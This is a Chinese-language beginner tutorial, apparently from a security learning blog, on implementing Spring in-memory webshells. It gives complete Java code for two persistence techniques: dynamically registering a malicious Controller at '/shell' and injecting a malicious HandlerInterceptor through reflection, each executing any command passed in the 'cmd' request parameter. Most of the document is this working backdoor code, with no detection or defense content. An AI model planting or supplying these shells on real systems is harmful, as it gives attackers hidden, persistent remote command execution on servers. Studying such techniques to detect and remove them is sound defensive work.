新手友好,spring内存马学习篇一
字数 1713 2025-08-29 08:30:18
Spring内存马学习与实现指南
环境准备
- Spring 2.6.13
- JDK 1.8.0.66
- IDEA 2024.2
- Maven配置阿里云仓库加速依赖下载
Spring框架基础
Spring Framework是整个Spring系列的核心,Spring Boot是基于Spring Framework的快速启动工具。在Spring中:
- 应用层的特定上下文是
WebApplicationContext - Bean是Spring的专业术语,代表一个对象
- 主要路由处理组件:
Controller:类似于Tomcat的ServletInterceptor:类似于Tomcat的Filter和Listener
Controller内存马实现
核心思路
- 获取
WebApplicationContext - 通过
WebApplicationContext获取RequestMappingHandlerMapping - 创建恶意类,包含命令执行方法
- 通过反射获取恶意类的
Method对象 - 创建
RequestMappingInfo和pathPatternsRequestCondition - 执行
RequestMappingHandlerMapping.registerMapping注册恶意路由
详细实现步骤
- 获取WebApplicationContext:
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
- 获取RequestMappingHandlerMapping:
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
- 创建恶意类:
class Shell {
public void exec() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
- 获取Method对象:
Method method = Shell.class.getDeclaredMethod("exec");
- 创建PathPatternsRequestCondition:
PathPatternsRequestCondition pathPatternsRequestCondition =
new PathPatternsRequestCondition(new PathPatternParser(), "/shell");
- 创建RequestMappingInfo:
Constructor<RequestMappingInfo> declaredConstructor = RequestMappingInfo.class.getDeclaredConstructor(
String.class, PathPatternsRequestCondition.class, PatternsRequestCondition.class,
RequestMethodsRequestCondition.class, ParamsRequestCondition.class,
HeadersRequestCondition.class, ConsumesRequestCondition.class,
ProducesRequestCondition.class, RequestConditionHolder.class,
RequestMappingInfo.BuilderConfiguration.class);
declaredConstructor.setAccessible(true);
RequestMappingInfo requestMappingInfo = declaredConstructor.newInstance(
null, pathPatternsRequestCondition, null,
new RequestMethodsRequestCondition(), new ParamsRequestCondition(),
new HeadersRequestCondition(), new ConsumesRequestCondition(),
new ProducesRequestCondition(), new RequestConditionHolder(null),
new RequestMappingInfo.BuilderConfiguration());
- 注册恶意路由:
requestMappingHandlerMapping.registerMapping(requestMappingInfo, new Shell(), method);
注意事项
- 在Spring 5.3+版本中,路径匹配方式发生了变化,可以使用
PathPatternsRequestCondition或PatternsRequestCondition RequestMappingInfo的patternsCondition和pathPatternsCondition必须有一个不为null- 其他条件参数如
RequestMethodsRequestCondition等可以初始化为空对象
Interceptor内存马实现
核心思路
- 获取
WebApplicationContext - 获取
AbstractHandlerMapping对象(通常使用RequestMappingHandlerMapping) - 通过反射获取
AbstractHandlerMapping.adaptedInterceptors - 创建恶意拦截器
- 将恶意拦截器添加到
adaptedInterceptors中
详细实现步骤
- 获取WebApplicationContext:
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
- 获取AbstractHandlerMapping:
AbstractHandlerMapping bean = context.getBean(RequestMappingHandlerMapping.class);
- 创建恶意拦截器:
public class ShellInterception implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
return HandlerInterceptor.super.preHandle(request, response, handler);
}
// 其他方法可以空实现
}
- 通过反射添加拦截器:
Field interceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
interceptors.setAccessible(true);
List<HandlerInterceptor> handlerInterceptorList = (List<HandlerInterceptor>) interceptors.get(bean);
handlerInterceptorList.add(new ShellInterception());
注意事项
AbstractHandlerMapping是抽象类,实际使用其子类RequestMappingHandlerMapping- 拦截器会应用于所有请求,需注意业务影响
- 拦截器的
preHandle方法返回true才会继续执行后续处理链
总结
Spring内存马主要有两种实现方式:
-
Controller内存马:
- 通过动态注册Controller实现
- 核心操作
RequestMappingHandlerMapping.registerMapping - 需要构造
RequestMappingInfo和PathPatternsRequestCondition
-
Interceptor内存马:
- 通过添加拦截器实现
- 核心操作是修改
AbstractHandlerMapping.adaptedInterceptors - 需要实现
HandlerInterceptor接口
两种方式都需要先获取WebApplicationContext,这是Spring的核心上下文对象。相比Tomcat内存马,Spring内存马操作的是更高抽象级别的组件,但核心思路相似:动态修改框架的路由或过滤机制。